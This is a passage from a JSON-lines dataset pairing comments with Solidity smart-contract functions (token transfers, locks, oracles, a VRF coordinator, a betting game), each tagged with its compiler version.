= userBalanceScaledBefore-burnAmountScaled\n * otherBalanceScaledBefore = scaledTotalSupplyBefore-userBalanceScaledBefore\n *\n * burnAmountInternal = (scaledTotalSupplyAfter*userBalanceInternalBefore - totalSupplyInternalBefore*userBalanceScaledAfter)/otherBalanceScaledBefore\n **/", "function_code": "function _burnScaled(address user, uint256 burnAmountScaled, ExtData memory e) private {\n uint256 totalSupplyInternalBefore = super.totalSupply();\n uint256 userBalanceInternalBefore = super.balanceOf(user);\n\n uint256 scaledTotalSupplyBefore = _scaledTotalSupply(e, _totalGonsDeposited);\n uint256 userBalanceScaledBefore = _scaledBalanceOf(userBalanceInternalBefore, totalSupplyInternalBefore, scaledTotalSupplyBefore);\n uint256 otherBalanceScaledBefore = scaledTotalSupplyBefore.sub(userBalanceScaledBefore);\n\n uint256 scaledTotalSupplyAfter = scaledTotalSupplyBefore.sub(burnAmountScaled);\n uint256 userBalanceScaledAfter = userBalanceScaledBefore.sub(burnAmountScaled);\n uint256 burnAmountInternal = 0;\n\n // Lone user\n if(otherBalanceScaledBefore == 0) {\n uint256 burnAmountInternal = burnAmountScaled.mul(totalSupplyInternalBefore).div(scaledTotalSupplyBefore);\n _burn(user, burnAmountInternal);\n return;\n }\n\n burnAmountInternal = scaledTotalSupplyAfter\n .mul(userBalanceInternalBefore)\n .sub(totalSupplyInternalBefore.mul(userBalanceScaledAfter))\n .div(otherBalanceScaledBefore);\n _burn(user, burnAmountInternal);\n }", "version": "0.6.12"} {"comment": "/// @dev Update crowdsale parameter", "function_code": "function updateParams(\r\nuint256 _tokenExchangeRate,\r\nuint256 _tokenCrowdsaleCap,\r\nuint256 _fundingStartBlock,\r\nuint256 _fundingEndBlock) external\r\n{\r\nassert(block.number < fundingStartBlock);\r\nassert(!isFinalized);\r\n\r\n// update system parameters\r\ntokenExchangeRate = _tokenExchangeRate;\r\ntokenCrowdsaleCap = _tokenCrowdsaleCap;\r\nfundingStartBlock = _fundingStartBlock;\r\nfundingEndBlock = _fundingEndBlock;\r\n}", "version": "0.4.26"} {"comment": "// ------------------------------------------------------------------------\n// Transfer `tokens` from the `from` account to the `to` account\n// \n// The calling account must already have sufficient tokens approve(...)-d\n// for spending from the `from` account and\n// - From account must have sufficient balance to transfer\n// - Spender must have sufficient allowance to transfer\n// ------------------------------------------------------------------------", "function_code": "function transferFrom(address from, address to, uint tokens) public returns (bool success) {\r\n require(from != address(0));\r\n require(to != address(0));\r\n require(tokens > 0);\r\n require(balances[from] >= tokens);\r\n require(allowed[from][msg.sender] >= tokens);\r\n \r\n balances[from] = balances[from].sub(tokens);\r\n allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);\r\n balances[to] = balances[to].add(tokens);\r\n emit Transfer(from, to, tokens);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * Add a new contract. \r\n * This function can only be called by the owner of the smart contract.\r\n *\r\n * @param _contractId \t\tContract Id\r\n * @param _data\t\t Contract Data\r\n */", "function_code": "function addContract(uint _contractId, string memory _data) public checkSenderIsOwner\r\n returns(uint)\r\n {\r\n Contract storage newContract = contracts[_contractId];\r\n require(newContract.contractId == 0, \"Contract already created.\");\r\n\r\n newContract.contractId = _contractId;\r\n newContract.data = _data;\r\n\r\n // emitting the event that a new contract has been registered\r\n emit newContractRegistered(_contractId);\r\n\r\n return _contractId;\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @dev Insert node `_node` with a value\r\n * @param self stored linked list from contract\r\n * @param _node new node to insert\r\n * @param _value value of the new `_node` to insert\r\n * @notice If the `_node` does not exists, it's added to the list\r\n * if the `_node` already exists, it updates its value.\r\n */", "function_code": "function set(List storage self, uint256 _node, uint256 _value) internal {\r\n // Check if node previusly existed\r\n if (self.exists[_node]) {\r\n\r\n // Load the new and old position\r\n (uint256 leftOldPos, uint256 leftNewPos) = self.findOldAndNewLeftPosition(_node, _value);\r\n\r\n // If node position changed, we need to re-do the linking\r\n if (leftOldPos != leftNewPos && _node != leftNewPos) {\r\n // Remove prev link\r\n self.links[leftOldPos] = self.links[_node];\r\n\r\n // Create new link\r\n uint256 next = self.links[leftNewPos];\r\n self.links[leftNewPos] = _node;\r\n self.links[_node] = next;\r\n }\r\n } else {\r\n // Update size of the list\r\n self.size = self.size + 1;\r\n // Set node as existing\r\n self.exists[_node] = true;\r\n // Find position for the new node and update the links\r\n uint256 leftPosition = self.findLeftPosition(_value);\r\n uint256 next = self.links[leftPosition];\r\n self.links[leftPosition] = _node;\r\n self.links[_node] = next;\r\n }\r\n\r\n // Set the value for the node\r\n self.values[_node] = _value;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Returns the previus node of a given `_node`\r\n * alongside to the previus node of a hypothetical new `_value`\r\n * @param self stored linked list from contract\r\n * @param _node a node to search for its left node\r\n * @param _value a value to seach for its hypothetical left node\r\n * @return `leftNodePost` the node previus to the given `_node` and\r\n * `leftValPost` the node previus to the hypothetical new `_value`\r\n * @notice This method performs two seemingly unrelated tasks at the same time\r\n * because both of those tasks require a list iteration, thus saving gas.\r\n */", "function_code": "function findOldAndNewLeftPosition(\r\n List storage self,\r\n uint256 _node,\r\n uint256 _value\r\n ) internal view returns (\r\n uint256 leftNodePos,\r\n uint256 leftValPos\r\n ) {\r\n // Find old and new value positions\r\n bool foundNode;\r\n bool foundVal;\r\n\r\n // Iterate links\r\n uint256 c = HEAD;\r\n while (!foundNode || !foundVal) {\r\n uint256 next = self.links[c];\r\n\r\n // We should have found the old position\r\n // the new one must be at the end\r\n if (next == 0) {\r\n leftValPos = c;\r\n break;\r\n }\r\n\r\n // If the next node is the current node\r\n // we found the old position\r\n if (next == _node) {\r\n leftNodePos = c;\r\n foundNode = true;\r\n }\r\n\r\n // If the next value is higher and we didn't found one yet\r\n // the next value if the position\r\n if (self.values[next] > _value && !foundVal) {\r\n leftValPos = c;\r\n foundVal = true;\r\n }\r\n\r\n c = next;\r\n }\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Get the left node for a given hypothetical `_value`\r\n * @param self stored linked list from contract\r\n * @param _value value to seek\r\n * @return uint256 left node for the given value\r\n */", "function_code": "function findLeftPosition(List storage self, uint256 _value) internal view returns (uint256) {\r\n uint256 next = HEAD;\r\n uint256 c;\r\n\r\n do {\r\n c = next;\r\n next = self.links[c];\r\n } while(self.values[next] < _value && next != 0);\r\n\r\n return c;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Get the node on a given `_position`\r\n * @param self stored linked list from contract\r\n * @param _position node position to retrieve\r\n * @return the node key\r\n */", "function_code": "function nodeAt(List storage self, uint256 _position) internal view returns (uint256) {\r\n uint256 next = self.links[HEAD];\r\n for (uint256 i = 0; i < _position; i++) {\r\n next = self.links[next];\r\n }\r\n\r\n return next;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Removes an entry from the sorted list\r\n * @param self stored linked list from contract\r\n * @param _node node to remove from the list\r\n */", "function_code": "function remove(List storage self, uint256 _node) internal {\r\n require(self.exists[_node], \"the node does not exists\");\r\n\r\n uint256 c = self.links[HEAD];\r\n while (c != 0) {\r\n uint256 next = self.links[c];\r\n if (next == _node) {\r\n break;\r\n }\r\n\r\n c = next;\r\n }\r\n\r\n self.size -= 1;\r\n self.exists[_node] = false;\r\n self.links[c] = self.links[_node];\r\n delete self.links[_node];\r\n delete self.values[_node];\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Get median beetween entry from the sorted list\r\n * @param self stored linked list from contract\r\n * @return uint256 the median\r\n */", "function_code": "function median(List storage self) internal view returns (uint256) {\r\n uint256 elements = self.size;\r\n if (elements % 2 == 0) {\r\n uint256 node = self.nodeAt(elements / 2 - 1);\r\n return Math.average(self.values[node], self.values[self.links[node]]);\r\n } else {\r\n return self.values[self.nodeAt(elements / 2)];\r\n }\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Adds a `_signer` who is going to be able to provide a new rate\r\n * @param _signer Address of the signer\r\n * @param _name Metadata - Human readable name of the signer\r\n */", "function_code": "function addSigner(address _signer, string calldata _name) external onlyOwner {\r\n require(!isSigner[_signer], \"signer already defined\");\r\n require(signerWithName[_name] == address(0), \"name already in use\");\r\n require(bytes(_name).length > 0, \"name can't be empty\");\r\n isSigner[_signer] = true;\r\n signerWithName[_name] = _signer;\r\n nameOfSigner[_signer] = _name;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Updates the `_name` metadata of a given `_signer`\r\n * @param _signer Address of the signer\r\n * @param _name Metadata - Human readable name of the signer\r\n */", "function_code": "function setName(address _signer, string calldata _name) external onlyOwner {\r\n require(isSigner[_signer], \"signer not defined\");\r\n require(signerWithName[_name] == address(0), \"name already in use\");\r\n require(bytes(_name).length > 0, \"name can't be empty\");\r\n string memory oldName = nameOfSigner[_signer];\r\n signerWithName[oldName] = address(0);\r\n signerWithName[_name] = _signer;\r\n nameOfSigner[_signer] = _name;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Removes an existing `_signer`, removing any provided rate\r\n * @param _signer Address of the signer\r\n */", "function_code": "function removeSigner(address _signer) external onlyOwner {\r\n require(isSigner[_signer], \"address is not a signer\");\r\n string memory signerName = nameOfSigner[_signer];\r\n\r\n isSigner[_signer] = false;\r\n signerWithName[signerName] = address(0);\r\n nameOfSigner[_signer] = \"\";\r\n\r\n // Only remove from list if it provided a value\r\n if (list.exists[uint256(_signer)]) {\r\n list.remove(uint256(_signer));\r\n }\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Reads the rate provided by the Oracle\r\n * this being the median of the last rate provided by each signer\r\n * @param _oracleData Oracle auxiliar data defined in the RCN Oracle spec\r\n * not used for this oracle, but forwarded in case of upgrade.\r\n * @return `_equivalent` is the median of the values provided by the signer\r\n * `_tokens` are equivalent to `_equivalent` in the currency of the Oracle\r\n */", "function_code": "function readSample(bytes memory _oracleData) public view returns (uint256 _tokens, uint256 _equivalent) {\r\n // Check if paused\r\n require(!paused && !pausedProvider.isPaused(), \"contract paused\");\r\n\r\n // Check if Oracle contract has been upgraded\r\n RateOracle _upgrade = upgrade;\r\n if (address(_upgrade) != address(0)) {\r\n return _upgrade.readSample(_oracleData);\r\n }\r\n\r\n // Tokens is always base\r\n _tokens = BASE;\r\n _equivalent = list.median();\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Removes a value from a set. O(1).\r\n *\r\n * Returns true if the value was removed from the set, that is if it was\r\n * present.\r\n */", "function_code": "function _remove(Set storage set, bytes32 value) private returns (bool) {\r\n // We read and store the value's index to prevent multiple reads from the same storage slot\r\n uint256 valueIndex = set._indexes[value];\r\n\r\n if (valueIndex != 0) { // Equivalent to contains(set, value)\r\n \r\n\r\n uint256 toDeleteIndex = valueIndex - 1;\r\n uint256 lastIndex = set._values.length - 1;\r\n\r\n \r\n bytes32 lastvalue = set._values[lastIndex];\r\n\r\n set._values[toDeleteIndex] = lastvalue;\r\n set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based\r\n\r\n set._values.pop();\r\n\r\n delete set._indexes[value];\r\n\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Remove time lock, only locker can remove\r\n * @param account The address want to know the time lock state.\r\n * @param index Time lock index\r\n */", "function_code": "function _removeTimeLock(address account, uint8 index) internal {\r\n require(_timeLocks[account].length > index && index >= 0, \"Time Lock: index must be valid\");\r\n\r\n uint len = _timeLocks[account].length;\r\n if (len - 1 != index) { // if it is not last item, swap it\r\n _timeLocks[account][index] = _timeLocks[account][len - 1];\r\n }\r\n _timeLocks[account].pop();\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev lock and pause and check time lock before transfer token\r\n */", "function_code": "function _beforeTokenTransfer(address from, address to, uint256 amount) internal view {\r\n require(!isLocked(from), \"Lockable: token transfer from locked account\");\r\n require(!isLocked(to), \"Lockable: token transfer to locked account\");\r\n require(!paused(), \"Pausable: token transfer while paused\");\r\n require(balanceOf(from).sub(getTimeLockedAmount(from)) >= amount, \"Lockable: token transfer from time locked account\");\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Function to delete lock\r\n * @param granted The address that was locked\r\n * @param index The index of lock\r\n */", "function_code": "function deleteLock(address granted, uint8 index) public whenNotPaused onlyOwnerOrOperator {\r\n require(grantedLocks[granted].length > index);\r\n\r\n uint len = grantedLocks[granted].length;\r\n if (len == 1) {\r\n delete grantedLocks[granted];\r\n } else {\r\n if (len - 1 != index) {\r\n grantedLocks[granted][index] = grantedLocks[granted][len - 1];\r\n }\r\n delete grantedLocks[granted][len - 1];\r\n }\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @dev get locked amount of address\r\n * @param granted The address want to know the lock state.\r\n * @return locked amount\r\n */", "function_code": "function getLockedAmount(address granted) public view returns(uint) {\r\n uint lockedAmount = 0;\r\n\r\n uint len = grantedLocks[granted].length;\r\n for (uint i = 0; i < len; i++) {\r\n if (now < grantedLocks[granted][i].expiresAt) {\r\n lockedAmount = lockedAmount.add(grantedLocks[granted][i].amount);\r\n }\r\n }\r\n return lockedAmount;\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @dev Creates a new Oracle contract for a given `_symbol`\r\n * @param _symbol metadata symbol for the currency of the oracle to create\r\n * @param _name metadata name for the currency of the oracle\r\n * @param _decimals metadata number of decimals to express the common denomination of the currency\r\n * @param _token metadata token address of the currency\r\n * (if the currency has no token, it should be the address 0)\r\n * @param _maintainer metadata maintener human readable name\r\n * @notice Only one oracle by symbol can be created\r\n */", "function_code": "function newOracle(\r\n string calldata _symbol,\r\n string calldata _name,\r\n uint256 _decimals,\r\n address _token,\r\n string calldata _maintainer\r\n ) external onlyOwner {\r\n // Check for duplicated oracles\r\n require(symbolToOracle[_symbol] == address(0), \"Oracle already exists\");\r\n // Create oracle contract\r\n MultiSourceOracle oracle = new MultiSourceOracle(\r\n _symbol,\r\n _name,\r\n _decimals,\r\n _token,\r\n _maintainer\r\n );\r\n // Sanity check new oracle\r\n assert(bytes(oracleToSymbol[address(oracle)]).length == 0);\r\n // Save Oracle in registry\r\n symbolToOracle[_symbol] = address(oracle);\r\n oracleToSymbol[address(oracle)] = _symbol;\r\n // Emit events\r\n emit NewOracle(\r\n _symbol,\r\n address(oracle),\r\n _name,\r\n _decimals,\r\n _token,\r\n _maintainer\r\n );\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Adds a `_signer` to multiple `_oracles`\r\n * @param _oracles List of oracles on which add the `_signer`\r\n * @param _signer Address of the signer to be added\r\n * @param _name Human readable metadata name of the `_signer`\r\n * @notice Acts as a proxy for all the `_oracles` `_oracle.addSigner`\r\n */", "function_code": "function addSignerToOracles(\r\n address[] calldata _oracles,\r\n address _signer,\r\n string calldata _name\r\n ) external onlyOwner {\r\n for (uint256 i = 0; i < _oracles.length; i++) {\r\n address oracle = _oracles[i];\r\n MultiSourceOracle(oracle).addSigner(_signer, _name);\r\n emit AddSigner(oracle, _signer, _name);\r\n }\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Removes a `_signer` from multiple `_oracles`\r\n * @param _oracles List of oracles on which remove the `_signer`\r\n * @param _signer Address of the signer to be removed\r\n * @notice Acts as a proxy for all the `_oracles` `_oracle.removeSigner`\r\n */", "function_code": "function removeSignerFromOracles(\r\n address[] calldata _oracles,\r\n address _signer\r\n ) external onlyOwner {\r\n for (uint256 i = 0; i < _oracles.length; i++) {\r\n address oracle = _oracles[i];\r\n MultiSourceOracle(oracle).removeSigner(_signer);\r\n emit RemoveSigner(oracle, _signer);\r\n }\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Provides multiple rates for a set of oracles, with the same signer\r\n * msg.sender becomes the signer for all the provides\r\n *\r\n * @param _oracles List of oracles to provide a rate for\r\n * @param _rates List of rates to provide\r\n * @notice Acts as a proxy for multiples `_oracle.provide`, using the parameter `msg.sender` as signer\r\n */", "function_code": "function provideMultiple(\r\n address[] calldata _oracles,\r\n uint256[] calldata _rates\r\n ) external {\r\n uint256 length = _oracles.length;\r\n require(length == _rates.length, \"arrays should have the same size\");\r\n\r\n for (uint256 i = 0; i < length; i++) {\r\n address oracle = _oracles[i];\r\n uint256 rate = _rates[i];\r\n MultiSourceOracle(oracle).provide(msg.sender, rate);\r\n emit Provide(oracle, msg.sender, rate);\r\n }\r\n }", "version": "0.5.12"} {"comment": "// source: https://github.com/GNSPS/solidity-bytes-utils/blob/master/contracts/BytesLib.sol", "function_code": "function toUint32(bytes memory _bytes, uint256 _start) private pure returns (uint32) {\r\n require(_bytes.length >= _start + 4, \"OVM_MSG_WPR: out of bounds\");\r\n uint32 tempUint;\r\n\r\n assembly {\r\n tempUint := mload(add(add(_bytes, 0x4), _start))\r\n }\r\n\r\n return tempUint;\r\n }", "version": "0.6.12"} {"comment": "//1m pieces total\n//reward begins at 4 and is cut in half every reward era (as tokens are mined)", "function_code": "function getMiningReward() public constant returns (uint) {\r\n //once we get half way thru the coins, only get 2 per block\r\n\r\n //every reward era, the reward amount halves.\r\n\r\n return (4 * 10**uint(decimals) ).div( 2**rewardEra ) ;\r\n\r\n }", "version": "0.4.18"} {"comment": "/**\n * @notice read the current configuration of the coordinator.\n */", "function_code": "function getConfig()\n external\n view\n returns (\n uint16 minimumRequestConfirmations,\n uint32 fulfillmentFlatFeeLinkPPM,\n uint32 maxGasLimit,\n uint32 stalenessSeconds,\n uint32 gasAfterPaymentCalculation,\n uint96 minimumSubscriptionBalance,\n int256 fallbackWeiPerUnitLink\n )\n {\n Config memory config = s_config;\n return (\n config.minimumRequestConfirmations,\n config.fulfillmentFlatFeeLinkPPM,\n config.maxGasLimit,\n config.stalenessSeconds,\n config.gasAfterPaymentCalculation,\n config.minimumSubscriptionBalance,\n s_fallbackWeiPerUnitLink\n );\n }", "version": "0.8.6"} {"comment": "/**\n * @dev calls target address with exactly gasAmount gas and data as calldata\n * or reverts if at least gasAmount gas is not available.\n * The maximum amount of gasAmount is all gas available but 1/64th.\n * The minimum amount of gasAmount is MIN_GAS_LIMIT.\n */", "function_code": "function callWithExactGas(\n uint256 gasAmount,\n address target,\n bytes memory data\n ) private returns (bool success) {\n // solhint-disable-next-line no-inline-assembly\n assembly {\n let g := gas()\n // Compute g -= MIN_GAS_LIMIT and check for underflow\n if lt(g, MIN_GAS_LIMIT) {\n revert(0, 0)\n }\n g := sub(g, MIN_GAS_LIMIT)\n // if g - g//64 <= gasAmount, revert\n // (we subtract g//64 because of EIP-150)\n if iszero(gt(sub(g, div(g, 64)), gasAmount)) {\n revert(0, 0)\n }\n // solidity calls check that a contract actually exists at the destination, so we do the same\n if iszero(extcodesize(target)) {\n revert(0, 0)\n }\n // call and return whether we succeeded. ignore return data\n success := call(gasAmount, target, 0, add(data, 0x20), mload(data), 0, 0)\n }\n return success;\n }", "version": "0.8.6"} {"comment": "/**\r\n * @dev Returns an Ethereum Signed Message, created from a `hash`. This\r\n * produces hash corresponding to the one signed with the\r\n * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]\r\n * JSON-RPC method as part of EIP-191.\r\n *\r\n * See {recover}.\r\n */", "function_code": "function toEthSignedMessageHash(bytes32 hash)\r\n internal\r\n pure\r\n returns (bytes32)\r\n {\r\n // 32 is the length in bytes of hash,\r\n // enforced by the type signature above\r\n return\r\n keccak256(\r\n abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", hash)\r\n );\r\n }", "version": "0.8.9"} {"comment": "// Get the amount of gas used for fulfillment", "function_code": "function calculatePaymentAmount(\n uint256 startGas,\n uint256 gasAfterPaymentCalculation,\n uint32 fulfillmentFlatFeeLinkPPM,\n uint256 weiPerUnitGas\n ) internal view returns (uint96) {\n int256 weiPerUnitLink;\n weiPerUnitLink = getFeedData();\n if (weiPerUnitLink <= 0) {\n revert InvalidLinkWeiPrice(weiPerUnitLink);\n }\n // (1e18 juels/link) (wei/gas * gas) / (wei/link) = juels\n uint256 paymentNoFee = (1e18 * weiPerUnitGas * (gasAfterPaymentCalculation + startGas - gasleft())) /\n uint256(weiPerUnitLink);\n uint256 fee = 1e12 * uint256(fulfillmentFlatFeeLinkPPM);\n if (paymentNoFee > (1e27 - fee)) {\n revert PaymentTooLarge(); // Payment + fee cannot be more than all of the link in existence.\n }\n return uint96(paymentNoFee + fee);\n }", "version": "0.8.6"} {"comment": "// Keep this separate from zeroing, perhaps there is a use case where consumers\n// want to keep the subId, but withdraw all the link.", "function_code": "function cancelSubscription(uint64 subId, address to) external onlySubOwner(subId) nonReentrant {\n Subscription memory sub = s_subscriptions[subId];\n uint96 balance = sub.balance;\n // Note bounded by MAX_CONSUMERS;\n // If no consumers, does nothing.\n for (uint256 i = 0; i < sub.consumers.length; i++) {\n delete s_consumers[sub.consumers[i]][subId];\n }\n delete s_subscriptions[subId];\n s_totalBalance -= balance;\n if (!LINK.transfer(to, uint256(balance))) {\n revert InsufficientBalance();\n }\n emit SubscriptionCanceled(subId, to, balance);\n }", "version": "0.8.6"} {"comment": "/**\r\n * @dev Setter round time.\r\n * @param _currentDeadlineInHours this value current deadline in hours.\r\n * @param _lastDeadlineInHours this value last deadline in hours.\r\n */", "function_code": "function _setRoundTime(uint _currentDeadlineInHours, uint _lastDeadlineInHours) internal {\r\n defaultCurrentDeadlineInHours = _currentDeadlineInHours;\r\n defaultLastDeadlineInHours = _lastDeadlineInHours;\r\n currentDeadline = block.timestamp + 60 * 60 * _currentDeadlineInHours;\r\n lastDeadline = block.timestamp + 60 * 60 * _lastDeadlineInHours;\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev Setting info about participant from Bears or Bulls contract\r\n * @param _lastHero Address of participant\r\n * @param _deposit Amount of deposit\r\n */", "function_code": "function setInfo(address _lastHero, uint256 _deposit) public {\r\n require(address(BearsContract) == msg.sender || address(BullsContract) == msg.sender);\r\n\r\n if (address(BearsContract) == msg.sender) {\r\n require(depositBulls[currentRound][_lastHero] == 0, \"You are already in bulls team\");\r\n if (depositBears[currentRound][_lastHero] == 0)\r\n countOfBears++;\r\n totalSupplyOfBears = totalSupplyOfBears.add(_deposit.mul(90).div(100));\r\n depositBears[currentRound][_lastHero] = depositBears[currentRound][_lastHero].add(_deposit.mul(90).div(100));\r\n }\r\n\r\n if (address(BullsContract) == msg.sender) {\r\n require(depositBears[currentRound][_lastHero] == 0, \"You are already in bears team\");\r\n if (depositBulls[currentRound][_lastHero] == 0)\r\n countOfBulls++;\r\n totalSupplyOfBulls = totalSupplyOfBulls.add(_deposit.mul(90).div(100));\r\n depositBulls[currentRound][_lastHero] = depositBulls[currentRound][_lastHero].add(_deposit.mul(90).div(100));\r\n }\r\n\r\n lastHero = _lastHero;\r\n\r\n if (currentDeadline.add(120) <= lastDeadline) {\r\n currentDeadline = currentDeadline.add(120);\r\n } else {\r\n currentDeadline = lastDeadline;\r\n }\r\n\r\n jackPot += _deposit.mul(10).div(100);\r\n\r\n calculateProbability();\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev Calculation probability for team's win\r\n */", "function_code": "function calculateProbability() public {\r\n require(winner == 0 && getState());\r\n\r\n totalGWSupplyOfBulls = GameWaveContract.balanceOf(address(BullsContract));\r\n totalGWSupplyOfBears = GameWaveContract.balanceOf(address(BearsContract));\r\n uint256 percent = (totalSupplyOfBulls.add(totalSupplyOfBears)).div(100);\r\n\r\n if (totalGWSupplyOfBulls < 1 ether) {\r\n totalGWSupplyOfBulls = 0;\r\n }\r\n\r\n if (totalGWSupplyOfBears < 1 ether) {\r\n totalGWSupplyOfBears = 0;\r\n }\r\n\r\n if (totalGWSupplyOfBulls <= totalGWSupplyOfBears) {\r\n uint256 difference = totalGWSupplyOfBears.sub(totalGWSupplyOfBulls).div(0.01 ether);\r\n\r\n probabilityOfBears = totalSupplyOfBears.mul(100).div(percent).add(estimateTokenPercent(difference));\r\n\r\n if (probabilityOfBears > 8000) {\r\n probabilityOfBears = 8000;\r\n }\r\n if (probabilityOfBears < 2000) {\r\n probabilityOfBears = 2000;\r\n }\r\n probabilityOfBulls = 10000 - probabilityOfBears;\r\n } else {\r\n uint256 difference = totalGWSupplyOfBulls.sub(totalGWSupplyOfBears).div(0.01 ether);\r\n probabilityOfBulls = totalSupplyOfBulls.mul(100).div(percent).add(estimateTokenPercent(difference));\r\n\r\n if (probabilityOfBulls > 8000) {\r\n probabilityOfBulls = 8000;\r\n }\r\n if (probabilityOfBulls < 2000) {\r\n probabilityOfBulls = 2000;\r\n }\r\n probabilityOfBears = 10000 - probabilityOfBulls;\r\n }\r\n\r\n totalGWSupplyOfBulls = GameWaveContract.balanceOf(address(BullsContract));\r\n totalGWSupplyOfBears = GameWaveContract.balanceOf(address(BearsContract));\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev Payable function for take prize\r\n */", "function_code": "function () external payable {\r\n if (msg.value == 0){\r\n require(depositBears[currentRound - 1][msg.sender] > 0 || depositBulls[currentRound - 1][msg.sender] > 0);\r\n\r\n uint payout = 0;\r\n uint payoutGW = 0;\r\n\r\n if (lastWinner == 1 && depositBears[currentRound - 1][msg.sender] > 0) {\r\n payout = calculateLastETHPrize(msg.sender);\r\n }\r\n if (lastWinner == 2 && depositBulls[currentRound - 1][msg.sender] > 0) {\r\n payout = calculateLastETHPrize(msg.sender);\r\n }\r\n\r\n if (payout > 0) {\r\n depositBears[currentRound - 1][msg.sender] = 0;\r\n depositBulls[currentRound - 1][msg.sender] = 0;\r\n withdrawn = withdrawn.add(payout);\r\n msg.sender.transfer(payout);\r\n }\r\n\r\n if ((lastWinner == 1 && depositBears[currentRound - 1][msg.sender] == 0) || (lastWinner == 2 && depositBulls[currentRound - 1][msg.sender] == 0)) {\r\n payoutGW = calculateLastGWPrize(msg.sender);\r\n withdrawnGW = withdrawnGW.add(payoutGW);\r\n GameWaveContract.transfer(msg.sender, payoutGW);\r\n }\r\n\r\n if (msg.sender == lastRoundHero) {\r\n lastHeroHistory = lastRoundHero;\r\n lastRoundHero = address(0x0);\r\n withdrawn = withdrawn.add(lastJackPot);\r\n msg.sender.transfer(lastJackPot);\r\n }\r\n }\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev Getting ETH prize of participant\r\n * @param participant Address of participant\r\n */", "function_code": "function calculateETHPrize(address participant) public view returns(uint) {\r\n\r\n uint payout = 0;\r\n uint256 totalSupply = (totalSupplyOfBears.add(totalSupplyOfBulls));\r\n\r\n if (depositBears[currentRound][participant] > 0) {\r\n payout = totalSupply.mul(depositBears[currentRound][participant]).div(totalSupplyOfBears);\r\n }\r\n\r\n if (depositBulls[currentRound][participant] > 0) {\r\n payout = totalSupply.mul(depositBulls[currentRound][participant]).div(totalSupplyOfBulls);\r\n }\r\n\r\n return payout;\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev Getting GW Token prize of participant\r\n * @param participant Address of participant\r\n */", "function_code": "function calculateGWPrize(address participant) public view returns(uint) {\r\n\r\n uint payout = 0;\r\n uint totalSupply = (totalGWSupplyOfBears.add(totalGWSupplyOfBulls)).mul(80).div(100);\r\n\r\n if (depositBears[currentRound][participant] > 0) {\r\n payout = totalSupply.mul(depositBears[currentRound][participant]).div(totalSupplyOfBears);\r\n }\r\n\r\n if (depositBulls[currentRound][participant] > 0) {\r\n payout = totalSupply.mul(depositBulls[currentRound][participant]).div(totalSupplyOfBulls);\r\n }\r\n\r\n return payout;\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev Getting ETH prize of _lastParticipant\r\n * @param _lastParticipant Address of _lastParticipant\r\n */", "function_code": "function calculateLastETHPrize(address _lastParticipant) public view returns(uint) {\r\n\r\n uint payout = 0;\r\n uint256 totalSupply = (lastTotalSupplyOfBears.add(lastTotalSupplyOfBulls));\r\n\r\n if (depositBears[currentRound - 1][_lastParticipant] > 0) {\r\n payout = totalSupply.mul(depositBears[currentRound - 1][_lastParticipant]).div(lastTotalSupplyOfBears);\r\n }\r\n\r\n if (depositBulls[currentRound - 1][_lastParticipant] > 0) {\r\n payout = totalSupply.mul(depositBulls[currentRound - 1][_lastParticipant]).div(lastTotalSupplyOfBulls);\r\n }\r\n\r\n return payout;\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev Getting GW Token prize of _lastParticipant\r\n * @param _lastParticipant Address of _lastParticipant\r\n */", "function_code": "function calculateLastGWPrize(address _lastParticipant) public view returns(uint) {\r\n\r\n uint payout = 0;\r\n uint totalSupply = (lastTotalGWSupplyOfBears.add(lastTotalGWSupplyOfBulls)).mul(80).div(100);\r\n\r\n if (depositBears[currentRound - 1][_lastParticipant] > 0) {\r\n payout = totalSupply.mul(depositBears[currentRound - 1][_lastParticipant]).div(lastTotalSupplyOfBears);\r\n }\r\n\r\n if (depositBulls[currentRound - 1][_lastParticipant] > 0) {\r\n payout = totalSupply.mul(depositBulls[currentRound - 1][_lastParticipant]).div(lastTotalSupplyOfBulls);\r\n }\r\n\r\n return payout;\r\n }", "version": "0.5.6"} {"comment": "/// @notice called once and only by owner", "function_code": "function release(address _treasury, address _vestor, address _blacksmith, address _migrator) external onlyOwner {\n require(block.timestamp >= START_TIME, \"$COVER: not started\");\n require(isReleased == false, \"$COVER: already released\");\n\n isReleased = true;\n\n blacksmith = _blacksmith;\n migrator = _migrator;\n _mint(_treasury, 950e18);\n _mint(_vestor, 10800e18);\n }", "version": "0.7.4"} {"comment": "//payment code here", "function_code": "function() payable{\r\n totalEthInWei = totalEthInWei + msg.value;\r\n uint256 amount = msg.value * unitsOneEthCanBuy;\r\n if (balances[owner] < amount) {\r\n return;\r\n }\r\n\r\n balances[owner] = balances[owner] - amount;\r\n balances[msg.sender] = balances[msg.sender] + amount;\r\n\r\n Transfer(owner, 